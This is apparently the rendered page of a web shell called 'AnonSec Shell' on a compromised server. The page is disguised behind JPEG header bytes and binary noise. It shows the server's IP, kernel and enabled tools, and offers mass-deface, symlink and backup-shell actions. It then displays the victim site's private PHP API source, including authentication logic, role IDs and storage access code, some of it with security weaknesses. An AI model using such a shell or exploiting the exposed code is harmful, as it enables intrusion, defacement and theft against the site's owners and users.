JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/formazionesnalssalerno.it/API/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/formazionesnalssalerno.it/API/app/api.class.php
<?php 		
//use Aws\S3\S3Client;


class API {
	
	/**
	 * 
	 * 
	 * 
	 * 
	 * 
	 * 
	 * 
	 * @author Angelo Pescatore
	 * @project Piattaforma
	 * 
	 * 
	 * 
	 * 
	 */

	function __construct(){
		
		/*
		$this->oreSfasamento = date("I",strtotime("now"))+1; //ora 	
		$this->secondiSfasamento = (date("I",strtotime("now"))+1)*3600; //ora 
		*/
	}
	
	/* 
	 *
	 * FUNZIONI DI SISTEMA PER VERIFICA TIPOLOGIA UTENTE 
	 * 
	 */
	
	protected function validateAuthAndGetUser(){
		$token = getBearerToken();
		$toRet = ApiSoftJWT::JWTDecode($token);
		//se il tok va in errore la libreria gestirà il ritorno di errore 400 quindi se arriva qui rinnovo il token
		return (array) $toRet;
	}

	
	protected function checkUserPermission(){
		$data_user = $this->validateAuthAndGetUser();
		if($data_user['data']->user_type_id == 830830 /*"Super Admin"*/ || $data_user['data']->user_type_id == 123456/*"Admin"*/ || /*dipendente*/ $data_user['data']->user_type_id ==456789) {
			return true;
		} else {

			return false;
		
		}
	}

	protected function checkUserIscritto(){
		$data_user = $this->validateAuthAndGetUser();
		if($data_user['data']->user_type_id == 0 || $data_user['data']->user_type_id == 830830) {
			return true;
		} else {

			return false;
		
		}
	}

	

	public function checkSuperAdmin(){
		$data_user = $this->validateAuthAndGetUser();

		if($data_user['data']->user_type_id ==830830) {
			return true;
		}else{ 
			return false;
			
		}
	
	}

	private function checkBlog(){
		$data_user = $this->validateAuthAndGetUser();

		if($data_user['data']->user_type_id ==234234 || $data_user['data']->user_type_id ==830830) {
			return true;
		} else {
			return false;
		}
	}


	/* 
	 *
	 * FUNZIONI DI SISTEMA PER STAMPA JSON, GESTIONE FILE, MANIPOLAZIONI IMMAGINI (crop & resize)
	 * 
	 */
	 

	
	protected function responseMessage($message, $status){
		if(METHOD=="registrazione" || METHOD=="recuperapassword" || METHOD=="contattaci" || METHOD=="ai" || METHOD=="di" ){
			return array(
				"message" => $message,
				"status" => $status,
			);
	
		}
		
		/**TOKEN ROTANTE**/
		$token = getBearerToken();
		$res = ApiSoftJWT::JWTDecode($token);

		$dec = (Array) $res;
		$data = (Array) $dec['data'];


		$IAM = new OCUser();
    	$ultimoAggiornamentoPermessi = strtotime($IAM->ultimoAggiornamentoGruppo());
    	$now = new DateTime();
		$mins = $now->getOffset();
    	
    	//echo "moment(".($res->iat*1000) .").toString(); moment(". ($ultimoAggiornamentoPermessi*1000).").toString(); moment(". (($res->exp*1000)).").toString();  moment(". ((time()*1000)-1800).").toString();";
    	//echo "  moment(". (($res->exp)).").toString();  moment(". ((time())-1800).").toString();";
		if($res->iat < $ultimoAggiornamentoPermessi){


			$IAM = new OCUser();
			$newData = $IAM->GetUserDataRenewToken($data['email']);
			$jwt = ApiSoftJWT::generateJWT($newData,false);	
			$data = array(
				"message" => $message,
				"status" => $status,
				'token'=>$jwt
			);
		}else if( $res->exp < (time()+$mins-1800) ){
			
			$jwt = ApiSoftJWT::generateJWT($data,false);	
			$data = array(
				"message" => $message,
				"status" => $status,
				'token'=>$jwt	
			);			
		}else{
			$data = array(
				"message" => $message,
				"status" => $status,
			);
		}
		return $data;
	}
		
	protected function printMessage($message){		
		header('Content-Type: application/json');
		print( json_encode($message) );
		die();
		return;
	
	}

	private function downloadFilePrivate($file, $filename, $contentType){		
		header("Content-Transfer-Encoding: binary");
		header('Content-Type: '. $contentType);
		header('Expires: 0');
		header('Content-Length: ' . filesize($file));
		header("Content-disposition: attachment; filename=".$filename);
		while (!feof($file)) {
		    echo fread($file, 8192);
		}
		
		die();
		return;
	
	}

	public function downloadFileUploaded($filename){		
		
		header("Content-Transfer-Encoding: binary");
		$file=SITEROOT_DIR . "uploads/".$filename;
		$handle = fopen($file, "r");
		header('Content-Type: '. mime_content_type($file));
		header('Expires: 0');
		header('Content-Disposition: attachment; filename="'.$filename.'"');
		//header('Content-Length: ' . filesize($file));
		while (!feof($handle)) {
			echo fread($handle, 8192);
		}
		die();
		return;
	
	}


	public function aggiungiTag($valore, $id, $tabella){
		
		if($this->checkUserPermission() == true) {
			$cont = new Content();
			$res = $cont->aggiungiTag($valore, $id, $tabella);
			if(!$res){
				return $this->printMessage( $this->responseMessage("Errore in fase di aggiungra dei tags", false) );
			}
		} else {
			return $this->printMessage( $this->responseMessage("Operazione non permessa", false) );
		}
	}

	public function ricercaTag($tag){
		
		if($this->checkUserPermission() == true) {
			$cont = new Content();
			$res = $cont->ricercaTag($tag);
			return $this->printMessage( $this->responseMessage($res, true) );
		} else {
			return $this->printMessage( $this->responseMessage("Operazione non permessa", false) );
		}
	}


	
	
	public function downloadUploads($filename)
	{
		$arr=json_decode($filename);
		for($i=0;$i<count($arr)-1;$i++)
		{
			$this->downloadFileUploaded($arr[$i]);
		}
	}

	private function showFile($filename, $contentType){		
		header("Content-Transfer-Encoding: binary");
		header('Content-Type: '. $contentType);
		header('Expires: 0');

		while (!feof($filename)) {
		    echo fread($filename, 8192);
		}
		
		die();
		return;
	
	}
	
	private function detectImageType($filename){
	    if (!file_exists($filename)) throw new InvalidArgumentException('File "'.$filename.'" not found.');

	    switch ( strtolower( pathinfo( $filename, PATHINFO_EXTENSION ))) {
	        case 'jpeg':
	        case 'jpg':
	            return imagecreatefromjpeg($filename);
	        break;
	        case 'png':
	            return imagecreatefrompng($filename);
	        break;
	
	        case 'gif':
	            return imagecreatefromgif($filename);
	        break;
	
	        default:
	            throw new InvalidArgumentException('File "'.$filename.'" is not valid jpg, png or gif image.');
	        break;
	    }

	}
//taglia immagine quadrata
	private function mockCrop($file){
		$image = getimagesize($file);
		$crop = array(0,0,$image[0],$image[1]);
		return $crop;
	}
	//array di coordinata e ti ritaglia
	private function cropImage($file, $crop = null){
		
		$targ_w = $targ_h = 150;

		if (!file_exists($file)) throw new InvalidArgumentException('File "'.$file.'" not found.');
		
		$img_r = $this->detectImageType($file);
		$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );
		
		if(count($crop)) {
			$size = getimagesize($file);
			$x = 0;
			$y = 0;
			$w = $size[0];
			$h = $size[1];
			if($w > $h) $w = $h;
			if($h > $w) $h = $w;
		} else {
			$crop = explode(",", $crop);
			$x = $crop[0];
			$y = $crop[1];
			$w = $crop[2];
			$h = $crop[3];
		}
		
		imagecopyresampled( $dst_r, $img_r, 0, 0, $x, $y, $targ_w, $targ_h, $w, $h);
		$croppedImageTmpFile = tempnam(SITEROOT_DIR."www/api/tmp/",null);
		imagejpeg($dst_r,$croppedImageTmpFile,100);
		imagedestroy($dst_r);
		
		
		return $croppedImageTmpFile;
	}
	//ridimensiona immagine
	private function resizeImage($file, $width, $height){
		$imageSize = getimagesize($file);
		$imageWidth = $imageSize[1];
		$imageHeight = $imageSize[0];
		$resizedImage = imagecreatetruecolor($width,$height);
		$image = imagecreatefromjpeg($file);
		imagecopyresized ($resizedImage, $image, 0, 0, 0, 0, $width, $height, $imageWidth, $imageHeight);
		$resizedImageTmpFile = tempnam(SITEROOT_DIR."www/api/tmp/",null);
		imagejpeg($resizedImage,$resizedImageTmpFile,100);
		imagedestroy($image);
		return $resizedImageTmpFile;
	}
	
//
	private function getPath($path, $filename){
		$user = $this->validateAuthAndGetUser();
		$firstname = str_replace(" ", "-", $user["firstname"]);
		$lastname = str_replace(" ", "-", $user["lastname"]);
		$filename = str_replace(" ", "-", $filename);
		return $path."/".$firstname."_".$lastname."_".$filename;
	}
	
	
	
	/*this function is only used to verify new mime types
	private function generateUpToDateMimeArray($url){
	    $s=array();
	    foreach(@explode("\n",@file_get_contents($url))as $x)
	        if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
	            for($i=1;$i<$c;$i++)
	                $s[]='&nbsp;&nbsp;&nbsp;\''.$out[1][$i].'\' => \''.$out[1][0].'\''; 
	    return @sort($s)?'$mime_types = array(<br />'.implode($s,',<br />').'<br />);':false;
	}
*/
	
	private function checkFileType($file){
		//check content type against list of content types private
		$info     = pathinfo($file);
		$basename = $info['basename'];
		$ext      = $info['extension'];
		
		$acceptedFileType = array(
			'doc' => 'application/msword',
			'docm' => 'application/vnd.ms-word.document.macroenabled.12',
			'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
			'dot' => 'application/msword',
			'dotm' => 'application/vnd.ms-word.template.macroenabled.12',
			'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
			'pps' => 'application/vnd.ms-powerpoint',
			'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroenabled.12',
			'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
			'ppt' => 'application/vnd.ms-powerpoint',
			'pptm' => 'application/vnd.ms-powerpoint.presentation.macroenabled.12',
			'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
			'pdf' => 'application/pdf',
			'jpe' => 'image/jpeg',
			'jpeg' => 'image/jpeg',
			'jpg' => 'image/jpeg',
			'png' => 'image/png',
			'gif' => 'image/gif',
			'mp4' => 'video/mp4',
			'mp4a' => 'audio/mp4',
			'mp4s' => 'application/mp4',
			'mp4v' => 'video/mp4'
		);
		
		if($acceptedFileType[$ext]) {
			return true;
		} else {
			return false;
		}

	}
	
	private function generatePassword($username){
		$random = rand(99999, 999999);
		$username = preg_replace('/\s+/', '', $username);
		$password = str_shuffle( strtolower( $username ).$random );
		return substr($password, 0,10);
	}
	

	/*public function recuperaPassword($email){
		//require_once SITEROOT_DIR.'/app/helpers/persistant.php';
		require_once SITEROOT_DIR.'/app/helpers/ocuser.php';
		require_once SITEROOT_DIR.'/app/helpers/emailmessage.php';
		$ocuser = new OCUser(true);
		$res = $ocuser->recuperaPassword($email, $this->generatePassword($email));

    	if (!is_int($res)) {
    		$emailMessage = new EmailMessage();

			//SEND EMAIL
			//SendMessage($subject, $htmlbody, $txtbody, $from, $to, $cc='', $bcc='', $replacements=array(), $filelocation=null, $filename=null, $filetype=null)
			//{
			$htmlbody = "Gentile Utente, <br> ci è stato richiesto il recupero della password associato al tuo account, di seguito troverai le nuove crenziali di accesso. <br><br>In seguito al login potrai cambiare la tua password.<br><br><br>Credenziali<br>***********<br>Username: $email<br>Password: $res<br><br>Grazie di averci preferito e buon lavoro.";

			$txtbody = "Gentile Utente, \nci è stato richiesto il recupero della password associato al tuo account, di seguito troverai le nuove crenziali di accesso. \n\nIn seguito al login potrai cambiare la tua password.\n\n\nCredenziali\n***********\nUsername: $email\nPassword: $res\n\nGrazie di averci preferito e buon lavoro.";


			$emailCK = $emailMessage->SendMessage("Richiesta di recupero password ", $htmlbody, $txtbody, "info@formazionesnalssalerno.it", $email);

			if($emailCK){
				return $this->printMessage( $this->responseMessage("L'email contenente la nuova password è stata inviata!", true) );
			}else{
				return $this->printMessage( $this->responseMessage("Errore nel server di posta elettronica, riprovare in caso il problema persista, contattare l'amministratore!", false) );
			}


        	
    	} else {
    		if ($res==-1) {
				return $this->printMessage( $this->responseMessage("Non è stato possibile trovare l'utente con questa email, si prega di verificare l'email e riprovare!", false) );
	    	}else if ($res==-2) {
				return $this->printMessage( $this->responseMessage("L'email contenente la nuova password è stata già inviata meno di 5 minuti fà, si prega di attendere 5 minuti e riprovare!", false) );
	    	}else {
				return $this->printMessage( $this->responseMessage("Errore interno del server!", false) );
	    	}

		}
	}
	
	*/
	
	
	/* 
	 *
	 * METODI PUBBLICI PER MENU
	 * 
	 */


	/*public function getMenu($user_type_id = 294911, $parent = -1){
		//$this->validateAuthAndGetUser();
		$contentOperations = new Content();
		$result = $contentOperations->getMenu($user_type_id, $parent);
		
		$user = $this->validateAuthAndGetUser();
		
		if($this->checkUserPermission() == true) {
			return $this->printMessage( $this->responseMessage($result, true) );
		}else{
				return $this->printMessage( $this->responseMessage("non loggato", false) );
		}

	}

	public function pagamento($valore){
		$contentPagamento = new Content();
		$result = $contentPagamento->pagamento($valore);
		return $this->printMessage( $this->responseMessage($result, true) );
	}*/

	/* 
	 *
	 * METODI PUBBLICI PER REGIONI, PROVINCE, COMUNI
	 * 
	 */
	


	public function getRegioni(){
		//$this->validateAuthAndGetUser();
		$contentOperations = new Content();
		$result = $contentOperations->getRegioni();
		return $this->printMessage( $this->responseMessage($result, true) );

	}
	public function getProvince($id_regione){
		//$this->validateAuthAndGetUser();
		$contentOperations = new Content();
		$result = $contentOperations->getProvince($id_regione);
		return $this->printMessage( $this->responseMessage($result, true) );

	}
	public function getComuni($id_provicia){
		//$this->validateAuthAndGetUser();
		$contentOperations = new Content();
		$result = $contentOperations->getComuni($id_provicia);
		return $this->printMessage( $this->responseMessage($result, true) );

	}

	/*public function setConfigurazioneEmail($host_email, $port_email,$username_email, $password_email, $nome_mittente_email, $email_mittente_email){
		if($this->checkUserPermission() == true && $this->checkSuperAdmin()) {	
			$con = new Content();
			$result = $con->setConfigurazioneEmail($host_email, $port_email,$username_email, $password_email, $nome_mittente_email, $email_mittente_email);
			return $this->printMessage( $this->responseMessage($result, true) );
		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}
		
	}*/


	public function getConfigurazioneEmail(){
		if($this->checkUserPermission() == true && $this->checkSuperAdmin()) {	
			$con = new Content();
			$result = $con->getConfigurazioneEmail();
			return $this->printMessage( $this->responseMessage($result, true) );
		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}
		
	}


	/*private function getListaFilePrivate($tipo, $id){
		
		if($this->checkUserPermission() == true && $this->checkUserPermission()) {	

			$awsConfig = AWSCONFIG;
			// Create an SDK class used to share configuration across clients.
			$sdk = new Aws\Sdk($awsConfig);
			$bucket = $awsConfig['bucket'];
			// Use an Aws\Sdk class to create the S3Client object.
			$s3 = $sdk->createS3();

			// Use the high-level iterators (returns ALL of your objects).
			$toRet = [];
			try {

			    $results = $s3->getPaginator('ListObjects', [
			        'Bucket' => $bucket,
			        "Prefix" => $awsConfig['cliente']."/".$tipo."/".$id."/"
			    ]);
			    
			    foreach ($results as $result) {
			        foreach ($result['Contents'] as $object) {
			           $toRet[]= end(explode("/", $object['Key']));
			        }
			    }
			} catch (S3Exception $e) {
			    $toRet[]= $e->getMessage();
			}
			
			
			return $toRet;

		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}
		
	}*/

	public function getFileVideo($filename, $minuti){
		
		if($this->checkUserIscritto()) {	
			$awsConfig = AWSCONFIG;
			
			//$sdk = new Aws\Sdk($awsConfig);
			//$bucket = $awsConfig['bucket'];
			
			//$s3 = $sdk->createS3();
			$keyname = $awsConfig['cliente']."/corso1/".$filename;
			//echo $keyname;
			$s3Client = new Aws\S3\S3Client([
			    'profile' => 'default',
			    'region' => $awsConfig['region'],
			    'version' => '2006-03-01'
			]);

			$cmd = $s3Client->getCommand('GetObject', [
			    'Bucket' => $awsConfig['bucket'],
			    'Key' => $keyname
			]);

			$request = $s3Client->createPresignedRequest($cmd, "+$minuti minutes");
			
			$presignedUrl = (string)$request->getUri();

		    return $presignedUrl;

		}else{

			return false;

		}


		
	}


	public function getFile($filename, $minuti){
		
		if($this->checkUserPermission()) {	
			$awsConfig = AWSCONFIG;
			
			//$sdk = new Aws\Sdk($awsConfig);
			//$bucket = $awsConfig['bucket'];
			
			//$s3 = $sdk->createS3();
			$keyname = $awsConfig['cliente']."/corso1/".$filename;
			//echo $keyname;
			$s3Client = new Aws\S3\S3Client([
			    'profile' => 'default',
			    'region' => $awsConfig['region'],
			    'version' => '2006-03-01'
			]);

			$cmd = $s3Client->getCommand('GetObject', [
			    'Bucket' => $awsConfig['bucket'],
			    'Key' => $keyname
			]);

			$request = $s3Client->createPresignedRequest($cmd, "+$minuti minutes");
			
			$presignedUrl = (string)$request->getUri();

		    return $this->printMessage( $this->responseMessage($presignedUrl, true) );

		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}


		
	}

	/*public function getListaFile($tipo, $id){
		
		if($this->checkUserPermission() == true && $this->checkUserPermission()) {	

			$toRet = $this->getListaFilePrivate($tipo, $id);	
			
			return $this->printMessage( $this->responseMessage($toRet, true) );

		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}
		
	}*/


	/*public function putFileS3($tipo, $id, $urllocalefile){

		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			$toRet = $this->putFileS3Private($tipo, $id, $urllocalefile[0]);
			if($toRet){
				return $this->printMessage($this->responseMessage($toRet, true));
			}else{
				return $this->printMessage($this->responseMessage("File non caricato!", false));
			}
			
		}
		else
		{
			return $this->printMessage($this->responseMessage("Pemessi non sufficienti!", false));
		}
		
	}*/

	/*public function deleteFileS3($tipo, $id, $nomefile){

		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true && $this->checkSuperAdmin())
		{
			$toRet = $this->deleteFileS3Private($tipo, $id, $nomefile);
			if($toRet){
				$toReturn = $this->getListaFilePrivate($tipo, $id);
				
				return $this->printMessage($this->responseMessage($toReturn, true));
			}else{
				return $this->printMessage($this->responseMessage("File non cancellato!", false));
			}
			
		}
		else
		{
			return $this->printMessage($this->responseMessage("Pemessi non sufficienti!", false));
		}
		
	}

	private function deleteFileS3Private($tipo, $id,$nomefile){
		// Create an SDK class used to share configuration across clients.
	
		$awsConfig = AWSCONFIG;

		$bucket = $awsConfig['bucket'];
		$keyname = $awsConfig['cliente'];

		$uploadLink = $keyname."/".$tipo."/".$id."/".$nomefile;
		// Send a PutObject request and get the result object.

		$sdk = new Aws\Sdk($awsConfig);
		// Use an Aws\Sdk class to create the S3Client object.
		$s3 = $sdk->createS3();		
		try {
			$result = $s3->deleteObject(
				array(
					'Bucket'=>$bucket,
					'Key' =>  $uploadLink,
				)
			);
			

			
			return print_r($result, true);//['ObjectURL'];
		
		}catch(Exception $e){
			
			return false;//$e->getMessage() . PHP_EOL;
		}
		//fine for
	}

	public function putFileS3Private($tipo, $id, $urllocalefile){
		// Create an SDK class used to share configuration across clients.


		$urllocalefile_nopath = end(explode("/",$urllocalefile));
	
		$awsConfig = AWSCONFIG;

		$bucket = $awsConfig['bucket'];
		$keyname = $awsConfig['cliente'];

		$uploadLink = $keyname."/".$tipo."/".$id."/".$urllocalefile_nopath;
		// Send a PutObject request and get the result object.

		$sdk = new Aws\Sdk($awsConfig);
		// Use an Aws\Sdk class to create the S3Client object.
		$s3 = $sdk->createS3();		
		try {
			$result = $s3->putObject(
				array(
					'Bucket'=>$bucket,
					'Key' =>  $uploadLink,
					'SourceFile' => $urllocalefile //,
					//'StorageClass' => 'REDUCED_REDUNDANCY'
				)
			);
			

			
			return $result['ObjectURL'];
		
		}catch(Exception $e){
			
			return false;//$e->getMessage() . PHP_EOL;
		}
		//fine for
	}*/


	/*public function getFileCliente($idcliente){
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			 $toRet = array("cliente"=>$this->getListaFilePrivate("clienti", $idcliente));//, "pratiche"=>array());	

				
			 return $this->printMessage( $this->responseMessage($toRet, true) );
			
		}
		else
		{
			return $this->printMessage($this->responseMessage("Permessi non sufficienti!", false));
		}
	}

	public function getFileFornitore($idfornitore){
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			 $toRet = array("fornitore"=>$this->getListaFilePrivate("fornitori", $idfornitore));//, "pratiche"=>array());	

				
			 return $this->printMessage( $this->responseMessage($toRet, true) );
			
		}
		else
		{
			return $this->printMessage($this->responseMessage("Permessi non sufficienti!", false));
		}
	}*/
	

	/*public function inviaComunicazioneMassiva($oggetto, $messaggio, $clienti)
	{
		$array_clienti = explode(",", $clienti);

		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			 
			return $this->printMessage($this->responseMessage("bo", true));
						return $this->printMessage($this->responseMessage("Comunicazione non inviata!", false));

		}
		else
		{
			return $this->printMessage($this->responseMessage("Permessi non sufficienti!", false));
		}
		
	}

	public function inviaCorsoViaEmail($oggetto, $idcorso, $emails, $messaggioheader, $messaggiofooter)
	{
		

		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			

			require_once SITEROOT_DIR.'/app/helpers/emailmessage.php';
			include SITEROOT_DIR.'/app/components/corso/helper/content.php';
    		$emailMessage = new EmailMessage();
    		$emails = implode(",", $emails);
    		
			$con = new ContentCorso();
			//$cont = new ContentCorso();
			
			$ilcorso= $con->getCorso($idcorso);

			$corso = "Titolo: ". $ilcorso['titolo']. "<br>". $ilcorso['descrizione']. "<br><br>";
			$corsoNo = "Titolo: ". $ilcorso['titolo']. "\n". $ilcorso['descrizione']. "\n\n";
			if($ilcorso['prezzo']){
				$corso.="Prezzo:".$ilcorso['prezzo']."<br><br>";
				$corsoNo.="Prezzo:".$ilcorso['prezzo']."\n\n";
			}
			if($ilcorso['finalita']){
				$corso.="Finalita:".$ilcorso['finalita']."<br><br>";
				$corsoNo.="Finalita:".$ilcorso['finalita']."\n\n";
			}
			if($ilcorso['programma']){
				$corso.="Programma:".$ilcorso['programma']."<br><br>";
				$corsoNo.="Programma:".$ilcorso['programma']."\n\n";
			}
			if($ilcorso['destinatari']){
				$corso.="Destinatari:".$ilcorso['destinatari']."<br><br>";
				$corsoNo.="Destinatari:".$ilcorso['destinatari']."\n\n";
			}
			if($ilcorso['contenuti']){
				$corso.="Contenuti:".$ilcorso['contenuti']."<br><br>";
				$corsoNo.="Contenuti:".$ilcorso['contenuti']."\n\n";
			}
			if($ilcorso['caratteristiche']){
				$corso.="Caratteristiche:".$ilcorso['caratteristiche']."<br><br>";
				$corsoNo.="Caratteristiche:".$ilcorso['caratteristiche']."\n\n";
			}
			if($ilcorso['durata']){
				$corso.="Durata:".$ilcorso['durata']."<br><br>";
				$corsoNo.="Durata:".$ilcorso['durata']."\n\n";
			}

			$titolocorso = $ilcorso['titolo'];

			$htmlbody = "Gentile Utente,<br>di seguito troverai le informazioni sul corso richiesto. $messaggioheader $corso<br><br>$messaggiofooter<br><br>Grazie di averci preferito e buon lavoro.";

			$txtbody = "Gentile Utente,\ndi seguito troverai le informazioni sul corso richiesto. $messaggioheader\n\n$corso\n\n$messaggiofooter\n\nGrazie di averci preferito e buon lavoro.";


			$emailCK = $emailMessage->SendMessage("$oggeto - Richiesta di informazione per il corso $titolocorso", $htmlbody, $txtbody, "info@info.it", $emails);

			if($emailCK){
				return $this->printMessage( $this->responseMessage("L'email contenente le informazioni del corso è stata inviata!", true) );
			}else{
				return $this->printMessage( $this->responseMessage("Errore nel server di posta elettronica, riprovare in caso il problema persista, contattare l'amministratore!", false) );
			}


		}
		else
		{
			return $this->printMessage($this->responseMessage("Comunicazione non inviata!", false));
		}
		
	}*/

	/* 
	 *
	 * METODO PUBBLICO CHE MOSTRA TUTTI I FILE PRESENTI IN UNA CARTELLA SPECIFICA (utile per slishow dinamiche)
	 * 
	 */

	/*public function getSlide(){
		$dir    = SITEROOT_DIR.'/www/images/slide-home-banner';

		$files = scandir($dir);
		$return = array();
		foreach ($files as $key => $value) {
			if($files[$key]!="." && $files[$key]!=".." && $files[$key]!=".DS_Store"){
				$return[] = $files[$key];
			}
		}

		return $this->printMessage( $this->responseMessage($return, true) );	
	}*/


	/* 
	 *
	 * METODI PUBBLICI PER IL LOGIN SOCIALE
	 * 
	 */

	/*public function getLinkButtonLoginFacebook(){
		require_once SITEROOT_DIR.'/app/resources/facebook-for-php-5-3/facebook.php';
		$facebook = new facebook(true);
		$loginUrl = $facebook->getLoginUrl();
		return $this->printMessage( $this->responseMessage($loginUrl, true) );

	}

	public function getLinkButtonLogoutFacebook(){
		require_once SITEROOT_DIR.'/app/resources/facebook-for-php-5-3/facebook.php';

		$loginUrl = $facebook->getLogOutUrl();
		return $this->printMessage( $this->responseMessage($loginUrl, true) );

	}


	public function getInformationFromFacebook($username, $password){
		//require_once SITEROOT_DIR.'/app/helpers/persistant.php';
		require_once SITEROOT_DIR.'/app/helpers/ocuser.php';

   		//if is first registration from facebook
		require_once SITEROOT_DIR.'/app/resources/facebook-for-php-5-3/facebook.php';

		// Get User ID
		$user = $facebook->getUser();
		if ($user) {
		  try {
		    // Proceed knowing you have a logged in user who's authenticated.
		    $user_profile = $facebook->api('/me');
			return $this->printMessage( $this->responseMessage($user_profile, true) );
		  } catch (FacebookApiException $e) {
			return $this->printMessage( $this->responseMessage($facebook->getLoginUrl(), false) );
		  }
		}

	}*/
	
	//END FACEBOOK

	/* 
	 *
	 * METODI PUBBLICO PER IL LOGIN 
	 * 
	 */
	public function modificaPassword($oldpwd, $newpwd){
		$user = $this->validateAuthAndGetUser();
		
		//verifico i permessi
		if($this->checkUserPermission() == true && $this->checkSuperAdmin()) {

			$ocuser = new OCUser();
			$result = $ocuser->modificaPassword($user['id_user'], $oldpwd, $newpwd);

			return $this->printMessage( $this->responseMessage($result, $result) );
		}else{
			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );
		}
	}

	public function login($username, $password, $permanente){
		//require_once SITEROOT_DIR.'/app/helpers/persistant.php';
		require_once SITEROOT_DIR.'/app/helpers/ocuser.php';

		$ocuser = new OCUser(true);
		$res = $ocuser->Login($username ,$password);
		
    	if ($res) {

    		$jwt = ApiSoftJWT::generateJWT($res,$permanente);
        	return $this->printMessage( 
				array(
						"message" => $message,
						"status" => true,
						'token'=>$jwt
					)
			);
        	//return $this->printMessage( $this->responseMessage(array('token'=>$jwt), true) );
    	} else {

    		
				return $this->printMessage( $this->responseMessage("Credenziali non corrette si prega di riprovare!", false) );
	    	

		}
	}
	
	public function logout(){
		$this->validateAuthAndGetUser();
		


        return $this->printMessage( $this->responseMessage("Logged out!", true) );
	}
	




	/* 
	 *
	 * METODI AMMINISTRAZIONE: UTENTI (con intergrazione LDAP)
	 * 
	 */
	
	

	public function getUtenti(){
		$user = $this->validateAuthAndGetUser();
		
		//verifico i permessi
		if($this->checkUserPermission() == true && $this->checkSuperAdmin()) {		
			
			$ocuser = new OCUser();
			$result = $ocuser->getUtenti();

	//		$tmpLDAP = new AuthLdap(FILE_INI_LDAP);

	    	$resultldap = []; //$tmpLDAP->getAllUsers();

			return $this->printMessage( $this->responseMessage(array_merge($result, $resultldap), true) );

		}else{

			return $this->printMessage( $this->responseMessage('Non hai i permessi per accedere a questa risorsa!', false) );

		}
	
	}


	public function createUser($username, $firstname, $lastname, $email, $password, $usertypeid, $email_registrazione, $color){
		
		$user = $this->validateAuthAndGetUser();
		
		if($this->checkSuperAdmin() == true) {

			$ocuser = new OCUser(true);
			$res = $ocuser->CreateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $user['id_user'], $color);
			
			if($res) {
				if($email_registrazione){


					return $this->printMessage( $this->responseMessage("Utente creato con successo!", true) );
				}else{
